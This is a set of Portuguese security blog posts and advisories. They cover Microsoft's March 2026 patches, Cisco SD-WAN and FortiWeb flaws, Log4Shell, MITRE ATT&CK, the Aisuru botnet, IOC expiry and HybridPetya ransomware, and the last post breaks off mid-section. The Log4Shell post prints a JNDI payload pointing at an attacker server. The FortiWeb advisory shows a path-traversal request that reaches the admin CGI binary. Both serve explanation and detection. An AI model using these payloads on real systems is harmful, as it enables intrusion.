As atualizações mensais da Microsoft, conhecidas como Patch Tuesday, tem uma importante função, corrigir vulnerabilidades que podem ser exploradas por atacantes para comprometer ativos de ambientes corporativos ou pessoais. A última atualização, março de 2026 é um exemplo claro dos riscos de se manter sistemas desatualizados.
Conforme o release note da atualização, corrige 79 vulnerabilidades de segurança, incluindo duas falhas zero-day divulgadas publicamente, além de vulnerabilidades críticas no Windows 11, Windows Server, Microsoft Office, SQL Server e .NET.
Em detalhe temos:
46 vulnerabilidades de Elevação de Privilégio (EoP)
18 vulnerabilidades de Execução Remota de Código (RCE)
10 vulnerabilidades de Divulgação de Informação
4 vulnerabilidades de Negação de Serviço (DoS)
4 vulnerabilidades de Spoofing
2 vulnerabilidades de Bypass de Recursos de Segurança
Pontos de atenção
Vulnerabilidades Zero-Day Duas vulnerabilidades zero-day divulgadas publicamente, ou seja, falhas cujo funcionamento já era conhecido antes da liberação do patch.
CVE-2026-21262 – SQL Server (Elevação de Privilégio) Permite que um usuário autenticado eleve seus privilégios para SQL Admin (sysadmin) remotamente. Essa falha pode resultar em controle total de bases de dados críticas, comprometendo confidencialidade e integridade das informações.
CVE-2026-26127 – .NET (Negação de Serviço) Falha causada por leitura fora dos limites de memória, permitindo que um atacante cause indisponibilidade de serviços que dependem de aplicações .NET.
Vulnerabilidades Críticas no Microsoft Office
CVE-2026-26110 e CVE-2026-26113 – Microsoft Office (RCE) Essas vulnerabilidades podem ser exploradas apenas com a visualização do arquivo no Painel de Visualização, sem que o usuário precise abrir o documento. Isso representa um risco elevado de ataques por phishing e e-mails maliciosos.
CVE-2026-26144 – Microsoft Excel (Information disclosure) Permite vazar dados sensíveis e chamou atenção por possível exploração via Microsoft Copilot.
Elevação de Privilégio no Windows e Windows Server A maioria das vulnerabilidades corrigidas está relacionada à elevação de privilégio, afetando componentes centrais do Windows, como:
Windows Kernel, Windows SMB Server, Winlogon e Windows DWM Core Library.
Formado em Análise e Desenvolvimento de Sistemas na Fatec Rio Preto, comecei minha carreira com gerenciamento de infraestrutura terceirizada focado no Mercado Microsoft. Windows Server, Microsoft 365 e outros produtos da família foram o meu dia a dia por muitos anos. Como sempre focamos em manter os sistemas com os melhores processos de segurança, iniciamos os estudos para Cybersegurança. Pentest Profissional – Desec, Cursos do Cert.BR e certificações Palo Alto foram partes desse caminho, atualmente ao lado do time de SOC na CYLO temos o objetivo principal “Prevenir perdas”!
Identificamos uma campanha global de ciberataques perpetrada por agentes maliciosos, focada na exploração de vulnerabilidades em dispositivos de rede SD-WAN (Software-Defined Wide Area Network). Os atacantes estão explorando uma falha de segurança crítica nos controladores Cisco Catalyst SD-WAN para obter acesso não autorizado e estabelecer persistência de longo prazo nas redes corporativas.
Detalhes da Ameaça no Cisco Catalyst
A vulnerabilidade central, registrada como CVE-2026-20127, consiste em um bypass de autenticação no controlador Cisco Catalyst SD-WAN. Uma vez que a exploração é bem-sucedida, os atores da ameaça conseguem adicionar um dispositivo par (peer) não autorizado à rede. Este ponto de entrada inicial é então utilizado para escalar privilégios, culminando na obtenção de acesso root ao sistema. Com esse nível de controle, os invasores podem garantir sua permanência na infraestrutura SD-WAN, representando um risco significativo e contínuo para a organização.
Métricas da Ameaça no Cisco Catalyst
A CVE-2026-20127 possui pontuação CVSS v3.1 de 10.0 (crítica), com vetor AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
Essa pontuação máxima reflete alto impacto em confidencialidade, integridade e disponibilidade, com exploração remota sem autenticação.
Também há uma métrica CVSS v2 de 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C).
O EPSS é de 0.976, indicando alta probabilidade (cerca de 97,6%) de exploração nos próximos 30 dias.
Esforço Coordenado de Resposta
Em resposta a esta ameaça, uma coalizão de agências internacionais de segurança cibernética, incluindo a Agência de Segurança Nacional dos EUA (NSA), a Agência de Segurança Cibernética e de Infraestrutura dos EUA (CISA), e os centros de segurança cibernética da Austrália, Canadá, Nova Zelândia e Reino Unido, publicou o Guia de Caça de Vulnerabilidade “Exploitation of Cisco SD-WAN appliances“. Este documento, fundamentado em dados de investigações reais, foi desenvolvido para auxiliar os defensores de rede na detecção e resposta às atividades maliciosas.
Versões Vulneráveis Confirmadas
As versões afetadas pela CVE-2026-20127 incluem Cisco Catalyst SD-WAN Controller (ex-vSmart) e Manager (ex-vManage) em implantações on-premise e na nuvem hospedada pela Cisco.
Antes da versão 20.9.1: Migre para uma release corrigida.
20.9 até 20.9.8.1 (corrigida em 20.9.8.2, estimada para 27/02/2026).
20.12.5 até 20.12.5.2 (corrigida em 20.12.5.3).
20.12.6 até 20.12.6.0 (corrigida em 20.12.6.1).
20.13 até 20.15.4.1 (corrigida em 20.15.4.2).
20.14 até 20.15.4.1 (corrigida em 20.15.4.2).
20.15 até 20.15.4.1 (corrigida em 20.15.4.2).
20.16 até 20.18.2.0 (corrigida em 20.18.2.1).
20.18 até 20.18.2.0 (corrigida em 20.18.2.1).
Recomendações de Mitigação
As organizações autoras do guia recomendam enfaticamente que os administradores de rede adotem as seguintes medidas imediatas:
Ação Recomendada:
Descrição:
Coleta de Artefatos
Preserve evidências cruciais, como snapshots virtuais e logs completos da tecnologia SD-WAN, para análise forense.
O guia de hardening da Cisco oferece uma abordagem abrangente para proteger a infraestrutura SD-WAN. As principais recomendações incluem:
Controles de Perímetro de Rede: Posicione os componentes de controle atrás de um firewall, isole as interfaces da VPN 512 e utilize blocos de IP para provisionamento manual de dispositivos de borda.
Acesso ao Gerenciador SD-WAN: Substitua o certificado autoassinado da interface de usuário web por um certificado emitido por uma autoridade confiável.
Segurança do Plano de Controle e Dados: Utilize chaves par a par (pairwise keying) para aumentar a segurança da comunicação.
Tempo Limite de Sessão: Configure o tempo de inatividade da sessão para o menor período possível que não prejudique a operação.
Gerenciamento de Logs: Encaminhe todos os logs para um servidor syslog remoto e seguro para garantir a centralização e a integridade dos registros.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Já há algum tempo venho participando do processo de Gestão de Vulnerabilidades aqui da CYLO, tem sido uma tarefa desafiadora e, por mais que cada ambiente que eu faço essa gestão tenha as suas individualidades, em quase todos os ambientes me deparo sempre com as mesmas falhas, figurinhas repetidas que estão presentes em 80% dos ambientes, a ideia de escrever esse post é totalmente baseada em descrever essas vulnerabilidades, que eu sei que existem no seu ambiente, mesmo não te conhecendo.
E para começar, não poderia ser diferente, é impossivel falar de vulnerabilidades críticas que viraram o mundo de cabeça pra baixo, sem citar a tão temida e assustadora CVE-2021-44228. Ou para os intímos Log4shell. O terror dos analistas de SOC em meados de 2021/2022 e em muitos casos, até hoje!
Se você vive em baixo de uma pedra, e não faz ideia do que estou falando, fique calmo que vou te explicar o que é a vulnerabilidade CVE-2021-44228, qual produto ela afeta, e como ela é explorada por agentes de ameaça.
Descrição da vulnerabilidade
Log4Shell (CVE-2021-44228) é uma falha na biblioteca de logging Java Log4j desenvolvida pelo Apache afetando as versões 2.0-beta9 até 2.15 (há contradições sobre o primeiro patch de correção dessa vulnerabilidade que, teóricamente foi lançada na versão 2.15 porém o patch não funcionou completamente e em alguns casos específicos ainda era possível realizar a exploração) que simplesmente permitia que QUALQUER texto logado virasse um CÓDIGO EXECUTÁVEL no servidor, mas como isso funciona?
Na prática, o Log4j permitia que mensagens de log contivessem expressões no formato ${...}, que eram interpretadas automaticamente durante o processamento do log. Uma dessas expressões era ${jndi:...}, relacionada ao JNDI, uma API do Java usado para localizar e obter objetos ou recursos em servidores externos, como serviços de diretório LDAP. Ao processar essa expressão, o Log4j realizava uma consulta ao servidor indicado e podia carregar o conteúdo retornado.
Exploração da CVE-2021-44228
Agora, entendendo onde está a falha na biblioteca Log4j presente no servidor Apache vulnerável. Quando o atacante identifica essa condição, ele passa à exploração (e acredite ele vai explorar), fazendo com que a aplicação registre em log algum dado controlado pelo atacante (como cabeçalho HTTP User-Agent ou campo de login) contendo uma expressão JNDI maliciosa, aqui vai um exemplo de uma requisição maliciosa:
${jndi:ldap://servidor-do-atacante/mimikatz.exe}.
Quando o Log4j processa esse log, ele irá interpretar a expressão ${jndi:...} e usa o JNDI para consultar o servidor LDAP do atacante, que responde com uma referência a uma classe Java remota. A JVM da aplicação então baixa e carrega essa classe, executando o código nela contido no contexto do processo vulnerável, resultando em um RCE que vai te dar pesadelos.
Relevância da vulnerabilidade CVE-2021-44228
Após entender o que é a falha representada pela CVE-2021-44228, e entender como atacantes realizam sua exploração, pergunto. Por que se preocupar tanto com essa vulnerabilidade? qual sua relevância? afinal existem milhares de outras falhas que descrevem a possibilidade de um RCE em outros produtos.
O motivo é bem simples, e preocupante. Mesmo após mais de 5 anos desde sua descoberta, a vulnerabilidade Log4Shell ainda possui um EPSS de 94.36% e um CVSS score que pessoalmente acredito que nunca irá abaixar de 10/10, dados esses que foram coletados no dia 26/02/2026, refletindo um cenário em que ainda há milhares se não milhões de aplicações vulneráveis a CVE-2021-44228, e que estão ativamente sendo explorados todos os dias, afinal é facil de explorar, em muitos casos, não necessitando de privilégios elevados, literalmente o paraíso dos Adversários.
Portanto, se quiser dormir tranquilo, certifique-se de atualizar o Log4J da sua aplicação para a versões >= 2.17.1 o quanto antes (tem que ser literalmente para ontem!). E para aqueles que chegaram agora e não fazem ideia se estão com suas aplicações vulneraváveis, não perca mais tempo, pois o atacante provavelmente já tem essa resposta, e ele não vai perder nem um segundo.
Graduado em Análise e Desenvolvimento de Sistemas pela Universidade Paulista, e Pós-graduando em “Defensive Cyber Security” pela FIAP, atua como N1 no time de SOC da CYLO, é responsável por realizar a primeira análise e resposta de incidentes cibernéticos, realizou capacitações no campo de SOC/CSIRT, tendo como destaque os treinamentos promovidos pela CERT.BR em conjunto com a instituição Carnegie Mellon University “Foundations of Incident Management” e “Advanced Topics in Incident Handling”
Embora ter ferramentas de proteção são importantes, entender a mentalidade do atacante, como conhecer quais as táticas e métodos utilizados por ele durante um ataque, também é fundamental para os profissionais de cibersegurança.
Por que utilizar o MITRE ATT&CK? O que é?
Criado pela MITRE, o ATT&CK é um framework, uma base de conhecimento global gratuita, contendo informações como as táticas, técnicas e procedimentos adotados por cibercriminosos, baseado em estudos de caso real de incidentes, foram identificadas e mapeadas as informações de como os adversários agem e o ciclo de vida de um ataque no ambiente de tecnologia.
O framework da Mitre ATT&CK foi organizado em um modelo de matriz de domínios tecnológicos, onde buscaram organizar as informações para os comportamentos do adversário, seguindo uma divisão em matrizes de domínios tecnológicos, conforme abaixo:
Enterprise ATT&CK: Representando informações para ataques a redes empresariais e tecnologias de nuvem para ambientes corporativos.
Mobile ATT&CK: Representando informações para ataques direcionados a dispositivos móveis.
ICS ATT&CK: Representando informações para ataques de sistemas de controle industrial (ICS).
Baseado em sua matriz de domínio tecnológico, foi estruturado as informações dividindo em “táticas, técnicas e subtécnicas” para os comportamentos do adversário, seguindo as definições abaixo:
Táticas: Representam o “porque”, seria o objetivo do atacante.
Técnicas: Representam o “como”, como alcançar o objetivo definido pelas táticas.
Subtécnicas: Seria um nível maior de detalhamento das técnicas e comportamentos do adversário.
Frameworks como o do Mitre ATT&CK, permitem que as equipes de segurança antecipem movimentos de atacantes e realizem uma proteção de forma proativa nas organizações, antecipando ações maliciosas e ajudando a implementar controles mais eficazes nos ambientes de tecnologia.
Kim Morgan (kim@acmesecurity.org) & Adriano Cansian (adriano.cansian@unesp.br)
Em 17 de novembro de 2025, a Microsoft anunciou ter mitigado o maior ataque de negação de serviço distribuído (DDoS) já registrado em sua nuvem [1]. O ataque, que atingiu um pico de 15,72 terabits por segundo (Tbps), foi direcionado a um único endpoint da plataforma Azure na Austrália no dia 24 de outubro de 2025. A operação massiva, que utilizou mais de 500.000 endereços IP comprometidos para gerar um dilúvio de tráfego UDP, foi atribuída à Aisuru, uma botnet que exemplifica a sofisticação das ameaças modernas e destaca o papel central e estratégico do Sistema de Nomes de Domínio (DNS) em seu funcionamento.
Figura 1: Tendências de Ataque e distribuição geográfica de vítimas de ataques DDoS da Aisuru. Fonte: (WANG et al., 2025)
Ascensão da Aisuru: De Botnet Comum a Ameaça Global
A Aisuru, inicialmente uma botnet de escala relativamente comum, teve uma ascensão meteórica em abril de 2025. O ponto de virada ocorreu quando os operadores da rede comprometeram um servidor de atualização de firmware da fabricante de roteadores Totolink. Ao modificar a URL de atualização, eles passaram a distribuir um script malicioso para qualquer dispositivo que buscasse o firmware oficial. Essa tática engenhosa resultou na infecção de milhares de roteadores, expandindo a botnet para mais de 100.000 dispositivos em um curto período e consolidando a Aisuru como uma das maiores redes de bots ativas atualmente, com uma contagem de nós estimada em 300.000 [2].
Para se propagar, a Aisuru explora uma gama diversificada de vulnerabilidades, desde falhas antigas até 0-days, demonstrando a capacidade de seus operadores de integrar rapidamente novos vetores de ataque. A tabela abaixo detalha algumas das vulnerabilidades notáveis exploradas pelo grupo.
Figura 2: Vulnerabilidades exploradas para o comprometimento de dispositivos utilizados pelo grupo da Aisuru. Fonte: (WANG et al., 2025)
O DNS como Pilar da Operação
A infraestrutura de comando e controle (C2) da Aisuru depende criticamente do DNS. Para evitar a detecção e facilitar a rotação de seus servidores, a botnet utiliza registros de recurso TXT para comunicar os endereços IP dos servidores C2 aos dispositivos infectados. O malware consulta um domínio C2 e decodifica a informação contida no registro TXT para estabelecer a conexão. As técnicas de decodificação evoluíram, passando de uma combinação de base64 e ChaCha20 para base64 e XOR, numa tentativa contínua de evadir a detecção por ferramentas de segurança [2].
Figura 3: Hosts consultados pelos dispositivos comprometidos da botnet. Fonte: (ALIENVAULT, 2025)
A escala da operação da Aisuru foi exposta de forma dramática em novembro de 2025. Após mudar o resolvedor DNS padrão de seus bots do serviço do Google (8.8.8.8) para o da Cloudflare (1.1.1.1), o volume massivo de consultas geradas fez com que dois de seus domínios de C2 alcançassem as posições de 1º e 3º lugar no ranking global de domínios mais consultados da Cloudflare [3].
O evento, embora tenha levado a Cloudflare a remover os domínios maliciosos de sua lista pública, revelou a imensa escala da botnet, superando em tráfego de DNS gigantes como Google e Apple por um breve período.
Figura 4: Domínios da botnet Aisuru redigidos no ranking global da Cloudflare. Fonte: (KREBS et al., 2025)
Monetização Além do DDoS
Embora seja conhecida por seus ataques DDoS de grande impacto, a Aisuru diversificou suas fontes de receita, operando também como um lucrativo serviço de proxy residencial. Os operadores da botnet alugam o acesso aos dispositivos infectados, permitindo que clientes pagantes roteiem seu tráfego de internet através dessas conexões residenciais.
Isso não apenas garante o anonimato do cliente, mas também faz com que o tráfego malicioso (como raspagem de conteúdo em larga escala, fraude de anúncios ou ataques de preenchimento de credenciais) pareça originar-se de um usuário legítimo, dificultando enormemente sua detecção e bloqueio [4].
Conclusão: A Defesa Começa no DNS
O caso da Aisuru é um poderoso lembrete de que o DNS, um dos protocolos fundamentais da internet, permanece como um pilar estratégico tanto para o funcionamento da rede quanto para as operações de cibercriminosos.
A capacidade de uma botnet de usar o DNS para comando e controle de forma resiliente e de expor sua escala através do volume de tráfego de consultas demonstra a criticidade deste vetor. Enquanto domínios maliciosos permanecerem ativos, a operação de ameaças como a Aisuru continuará.
A mitigação eficaz depende de uma defesa proativa do DNS, com o monitoramento e o bloqueio automático de domínios associados a atividades maliciosas, impedindo a comunicação e a propagação dessas redes em escala global.
Data: 14/11/2025 Severidade: Crítica – CVSS 9.8 Status: Explorada ativamente desde outubro/2025 Produtos afetados: FortiWeb 7.0 a 8.0 (múltiplas versões)
Resumo Executivo
Em 14 de novembro de 2025, a Fortinet e a Agência de Segurança Cibernética e de Infraestrutura dos EUA (CISA) divulgaram um alerta sobre uma vulnerabilidade crítica de Path Traversal (CWE-23) que afeta os produtos FortiWeb, o Web Application Firewall (WAF) da Fortinet. A falha, identificada como CVE-2025-64446, possui uma pontuação CVSSv3 de 9.8 (Crítica) e está sendo ativamente explorada por atacantes desde o início de outubro de 2025 1.
A vulnerabilidade permite que um atacante não autenticado execute comandos administrativos remotos em sistemas vulneráveis, levando a um comprometimento total do dispositivo. A CISA já adicionou esta falha ao seu catálogo de Vulnerabilidades Exploradas Conhecidas (KEV), com um prazo de remediação obrigatório até 21 de novembro de 2025
1. Visão Geral da Vulnerabilidade
A CVE-2025-64446 é uma vulnerabilidade crítica de Path Traversal (CWE-23) combinada com bypass de autenticação, permitindo que um atacante não autenticado execute operações administrativas via CGI (fwbcgi).
Esta é a terceira vulnerabilidade crítica da linha FortiWeb nos últimos 18 meses, reforçando o padrão preocupante de falhas severas na superfície de ataque de dispositivos de borda da Fortinet.
A falha ocorre em dois estágios principais:
Path Traversal no endpoint /api/v2.0/…
Impersonação via header CGIINFO (base64) aceito pela função cgi_auth() sem validação real
O resultado é o comprometimento total do dispositivo FortiWeb, com capacidade de persistência, desvio de políticas de segurança e movimentação lateral na rede.
A falha foi adicionada em 14/11/2025 ao catálogo CISA KEV (Known Exploited Vulnerabilities Catalog) com prazo de mitigação obrigatório até 21/11/2025.
2. Detalhes de Exploração
2.1 Estágio 1 – Path Traversal
No primeiro estágio, o atacante utiliza um endpoint de API válido para escapar do diretório esperado e alcançar o executável administrativo fwbcgi:
POST /api/v2.0/cmd/system/admin%3F/../../../../../cgi-bin/fwbcgi HTTP/1.1
O Path Traversal permite que requisições atinjam o binário fwbcgi, responsável por operações administrativas no dispositivo.
2.2 Estágio 2 – Impersonação via CGIINFO
O binário fwbcgi utiliza a função cgi_auth(), que:
não valida corretamente credenciais de autenticação;
aceita um header HTTP chamado CGIINFO;
confia em informações de identidade fornecidas em JSON, codificadas em Base64.
Exemplo de payload JSON, antes de ser codificado em Base64:
Quando esse payload é aceito, o sistema concede privilégios administrativos completos, permitindo ao atacante criar novas contas, alterar configurações e manter persistência no dispositivo.
3. Impacto Operacional
Um atacante que explore com sucesso a CVE-2025-64446 pode:
Criar usuários administradores persistentes e ocultos;
Modificar políticas, regras e perfis de proteção do WAF;
Desabilitar ou contornar mecanismos de segurança;
Exfiltrar dados inspecionados e registrados pelo WAF;
Realizar movimentação lateral a partir do dispositivo comprometido.
Por se tratar de um WAF de borda, a vulnerabilidade abre um vetor crítico para ataques internos a partir de um equipamento que, normalmente, é considerado parte da camada de proteção.
4. Versões Afetadas (Confirmadas)
Produto
Versões Vulneráveis
FortiWeb 8.0
8.0.0 – 8.0.1
FortiWeb 7.6
7.6.0 – 7.6.4
FortiWeb 7.4
7.4.0 – 7.4.9
FortiWeb 7.2
7.2.0 – 7.2.11
FortiWeb 7.0
7.0.0 – 7.0.11
5. Ação Recomendada (Imediata)
5.1 Atualizar Firmware – Única Remediação Definitiva
Além disso, monitorar requisições contendo o header CGIINFO com conteúdo Base64, principalmente oriundas de IPs externos ou não autorizados.
CGIINFO: <string_base64_suspeita>
IPs com múltiplas tentativas de POSTpara esses caminhos devem ser tratados como suspeitos, com correlação adicional em outros logs.
6.2 Sistema / Configurações
Nos próprios dispositivos FortiWeb, verificar:
Criação de novas contas de administrador, principalmente a partir de outubro de 2025;
Contas com perfil de acesso prof_admin ou super_admin não reconhecidas pela equipe de segurança;
Configurações de trust host definidas como 0.0.0.0/0 ou ::/0 em contas administrativas;
Alterações não autorizadas em políticas, perfis, certificados e regras de inspeção.
7. Procedimentos de Resposta a Incidente
Em caso de suspeita de exploração da CVE-2025-64446, recomenda-se o seguinte fluxo para equipes de Blue Team / CERT / CSIRT:
Isolar o dispositivo: restringir acesso administrativo externo, mantendo apenas o mínimo necessário para análise e operação.
Coletar logs: exportar logs de sistema, eventos, auditoria e administração para um servidor seguro de análise.
Revisar contas de usuário: identificar contas administrativas novas ou modificadas, sobretudo com perfis elevados.
Analisar headers CGIINFO: quando possível, decodificar strings Base64 para determinar tentativas de impersonação de administradores.
Aplicar atualização de firmware para as versões corrigidas recomendadas pela Fortinet.
Revalidar configuração: revisar políticas, objetos, perfis e parâmetros de segurança para identificar alterações maliciosas.
Verificar persistência: buscar scripts, agendamentos, acessos remotos ou configurações suspeitas que indiquem backdoors.
Monitorar pós-correção: manter monitoramento reforçado por pelo menos 72 horas após a atualização e a revisão de segurança.
8. Conclusão
A CVE-2025-64446 representa uma vulnerabilidade de alta criticidade em dispositivos FortiWeb, com exploração ativa e baixo nível de complexidade técnica para o atacante. Dispositivos expostos à Internet, principalmente em ambientes de alta criticidade, estão sob risco significativo.
A atualização para versões corrigidas deve ser tratada como prioridade máxima em planos de resposta a incidentes e gestão de vulnerabilidades, especialmente em:
Provedores de serviços de Internet (ISPs e provedores regionais);
Órgãos públicos e infraestruturas críticas;
Instituições financeiras e meios de pagamento;
Ambientes acadêmicos com grande exposição de aplicações web;
Empresas que utilizam o FortiWeb para proteger aplicações sensíveis.
Equipes de segurança devem tratar essa vulnerabilidade como um incidente de severidade máxima, combinando correção, caça a ameaças (threat hunting) e monitoramento contínuo.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Acompanhando algumas notícias recentemente a China acusou a NSA de ter realizado um ataque ao serviço de tempo (National Time Service Center) responsável por manter e transmitir o horário de Pequim
Assim como alguns problemas geopolíticos recentes do Brasil com o Estados Unidos, em que surgiu rumores da possibilidade de bloquearem o serviço de GPS, o Time Service poderia ter causado um grande caos para os chineses, parando serviços como comunicação de rede e até sistemas financeiros.
O mais interessante é que tudo começou por um ataque de triangulação de celulares e em seguida o roubo de credenciais.
E várias vezes já pegamos de problemas de autenticação relacionados ao Active Directory em que a causa raiz era os relógios dessincronizados.
João Fuzinelli, formado em Sistemas de informação possui algumas certificações de mercado e vasta experiência em ambientes de infraestrutura crítica e cibersegurança. Atualmente trabalha nas operações de SOC da CYLO Cybersecurity.
Recentemente, venho trabalhando com a coleta e identificação de IOCs (Indicators of Compromise), analisando indicadores dos mais diversos tipos que, de alguma forma, foram ou estão sendo associados a atividades maliciosas ou ilícitas no ambiente digital. artefatos esses que podem ser endereços IP, domínios, hashes, chaves de registro e até e-mails.
Essa coleta é importante, pois, com ela, é possível garantir uma visibilidade mais abrangente em um ambiente, otimizando a detecção de, como o nome sugere, “indicadores de comprometimento” em um sistema ou rede de sistemas.
Durante a coleta desses artefatos, dúvidas foram levantadas internamente, sendo as principais:
A data de validade de um IOC deve ser a mesma, independentemente do tipo de artefato?
Um indicador de comprometimento deve possuir uma validade?
Qual é o prazo de validade ideal para um IOC?
Acredito que parte da resposta para essas perguntas pode ser encontrada na famosa “The Pyramid of Pain”, um modelo interessante que visa dividir tipos de indicadores em camadas, baseando-se no formato de uma pirâmide. A ideia é: quanto mais próximo um tipo de IOC está da base da pirâmide, maior será a facilidade de um adversário alterar esse indicador.
Como é possivel observar, na base da pirâmide encontramos “Endereços Hash” mas o que isso significa? Basicamente um endereço Hash tem a função de servir como uma “Impressão digital” de um arquivo ou processo no sistema, ou seja, cada arquivo existente, receberá um valor HASH único que tem o papel de identifica-lo (inclusive arquivos maliciosos).
Sem dúvidas, é uma fonte poderosa de informação, tornando possível a identificação de malwares conhecidos simplesmente com a coleta desse artefatos, porém, um fato que “enfraquece” a utilização de hash como IOC é que uma simples alteração de qualquer binário nesse arquivo acarretará na atribuição de um novo valor identificador completamente diferente para esse arquivo. Portanto, adversários podem, com muita facilidade, alterar o endereço hash de seus scripts maliciosos e evadir detecções previamente criadas em sistemas de segurança mais simples. Justamente por essa versatilidade de alteração nos valores, os endereços hash encontram-se na base da Pyramid of Pain.
Criação de um arquivo de texto nomeado “hash.txt” onde foi adicionado o valor “Isso é um malware cuidado!” é possivel ver o endereço HASH SHA-256 deste arquivo recém criado.Modificação do arquivo “hash.txt” recém criado, adicionando mais um carácter ” ! “ alterando seu valor inicial, endereço HASH SHA-256 foi COMPLETAMENTE alterado
Sabendo da facilidade que um Adversário possui para modificar qualquer binário em seus scripts, surge uma dúvida: “Qual seria a validade ideal para um IOC do tipo HASH?” Na minha visão, a resposta mais adequada seria: “Depende do quão bem é possível identificar o objetivo do Adversário“. Essa lógica se aplica não apenas as HASHES, mas também a outros tipos de Indicadores, como IPs, chaves de registro, domínios etc..
Tendo como exemplo atacantes que têm como principal objetivo “lucrar sem olhar a quem”, são agentes de ameaça que irão desenvolver scripts maliciosos buscando atrair o máximo de usuários desavisados possível a executar o seu malware, por meio de ataques de cryptojacking, adwares ou infostealers, que geralmente ficam abertamente disponíveis para download em websites que possuem títulos chamativos, como “Baixe mais memória RAM” ou “Cupom grátis de R$100,00 na Amazon”.
O ponto focal do tipo de kill chain adotado por esse adversário é que não há um alvo específico definido. Seu objetivo é infectar o máximo de vítimas e gerar lucro em um período de tempo pré-definido. Depois de esgotado esse tempo, o adversário provavelmente desaparecerá, não sendo muito relevante se o seu script for reconhecido e coletado como artefato em algum momento e bloqueado pela empresa “XYZ”, visto que muitos outros foram induzidos a serem infectados.
Para situações como a descrita acima, é sim importante coletar o máximo de indicadores possíveis e adicioná-los às suas regras de detecção. Porém, como essas campanhas “não direcionadas” costumam não ficar ativas por muito tempo, é plausível entender que não há necessidade da adoção de uma data de validade extensa, podendo, neste caso, configurar esses indicadores para serem detectados em um menor período de tempo.
Em contrapartida, há, de igual modo, cenários — ainda que mais raros — em que o agente de ameaça terá como alvo escolhido a dedo você ou a sua empresa. Nesses casos, toda a cadeia de ataque desenvolvida pelos adversários será inspirada em vulnerabilidades encontradas em seu ambiente. Situações como essas são atribuídas a agentes de ameaça mais experientes, tornando provável que os seus analistas de segurança sejam os primeiros a coletar certos artefatos. Cabe a eles identificá-los e entender seus graus de periculosidade.
Ao tomar ciência de que você está na mira de um atacante persistente, disposto a fazer de tudo para atingir seu objetivo final, os artefatos coletados devem, consequentemente, possuir um prazo de validade mais extenso. Pois, nesse cenário, não há como prever por quanto tempo você será um alvo. Campanhas direcionadas costumam durar meses ou até anos, e, nesse período, é de extrema importância coletar o máximo de IOCs possível.
Quanto mais indicadores forem detectados e bloqueados, maior será a necessidade de alteração dos artefatos utilizados pelo atacante, tornando-se um trabalho exaustivo para ele. Neste cenário, vale lembrar que a simples coleta de indicadores não é suficiente para mitigar um ataque persistente, sendo ainda necessária uma série de políticas bem desenvolvidas e ferramentas de segurança e monitoramento bem configuradas.
Para concluir, é certo que se faz necessária a adição de datas de validade para indicadores de comprometimento. Porém, deve-se levar em consideração sempre o cenário ao qual esses IOCs estão sendo atribuídos, assim como identificar se o tipo de ataque ao qual esses artefatos estão relacionados está direcionado exclusivamente a você ou ao seu ambiente, ou se está espalhado pela internet, a fim de atingir um alto volume de vítimas não relacionadas umas com as outras. A renovação de IOCs deve ser encarada como uma política de segurança essencial para o ambiente de toda empresa, e a definição do seu tempo de validade deve ser levantada e considerada com muita cautela.
Graduado em Análise e Desenvolvimento de Sistemas pela Universidade Paulista, e Pós-graduando em “Defensive Cyber Security” pela FIAP, atua como N1 no time de SOC da CYLO, é responsável por realizar a primeira análise e resposta de incidentes cibernéticos, realizou capacitações no campo de SOC/CSIRT, tendo como destaque os treinamentos promovidos pela CERT.BR em conjunto com a instituição Carnegie Mellon University “Foundations of Incident Management” e “Advanced Topics in Incident Handling”
Este alerta de segurança aborda a descoberta do HybridPetya, uma nova variante de ransomware que representa uma evolução significativa nas ameaças de firmware. Identificado em fevereiro de 2025, ele combina características dos notórios malwares Petya e NotPetya, que causaram estragos entre 2016 e 2017. A principal inovação do HybridPetya é sua capacidade de comprometer sistemas modernos baseados em UEFI, explorando a vulnerabilidade CVE-2024-7344 para contornar o Secure Boot em máquinas que não aplicaram as atualizações de revogação (dbx) da Microsoft de janeiro de 2025.
Embora ainda não haja evidências de campanhas ativas, a sofisticação técnica do HybridPetya exige atenção e preparação por parte dos profissionais de segurança.
Análise Técnica do HybridPetya
O HybridPetya, assim como seus predecessores, tem como alvo a Master File Table (MFT) em partições NTFS, tornando os arquivos do sistema operacional inacessíveis. No entanto, sua abordagem é mais sofisticada, utilizando um bootkit UEFI para garantir sua persistência e execução antes mesmo do carregamento do sistema operacional.
O Bootkit UEFI e o Processo de Criptografia
A principal inovação do HybridPetya é a sua capacidade de instalar uma aplicação EFI maliciosa na EFI System Partition (ESP). Este bootkit é responsável por orquestrar todo o processo de ataque. Uma vez executado, ele utiliza o algoritmo de criptografia Salsa20 para criptografar a MFT. Durante este processo, o malware exibe uma falsa mensagem do CHKDSK, o que leva o usuário a acreditar que o sistema está realizando uma verificação de disco, quando na verdade seus arquivos estão sendo criptografados.
O processo de ataque pode ser resumido da seguinte forma:
Instalação: O malware instala sua aplicação EFI maliciosa na ESP.
Configuração: O bootkit verifica um arquivo de configuração para determinar o estado da criptografia (pronto para criptografar, já criptografado ou resgate pago).
Criptografia: Se o sistema ainda não foi comprometido, o bootkit extrai a chave de criptografia Salsa20 e inicia a criptografia da MFT.
Falsa Verificação: Durante a criptografia, uma mensagem falsa do CHKDSK é exibida para enganar o usuário.
Reinicialização: Após a conclusão da criptografia, o sistema é reiniciado e a nota de resgate é exibida.
Exploração da Vulnerabilidade CVE-2024-7344
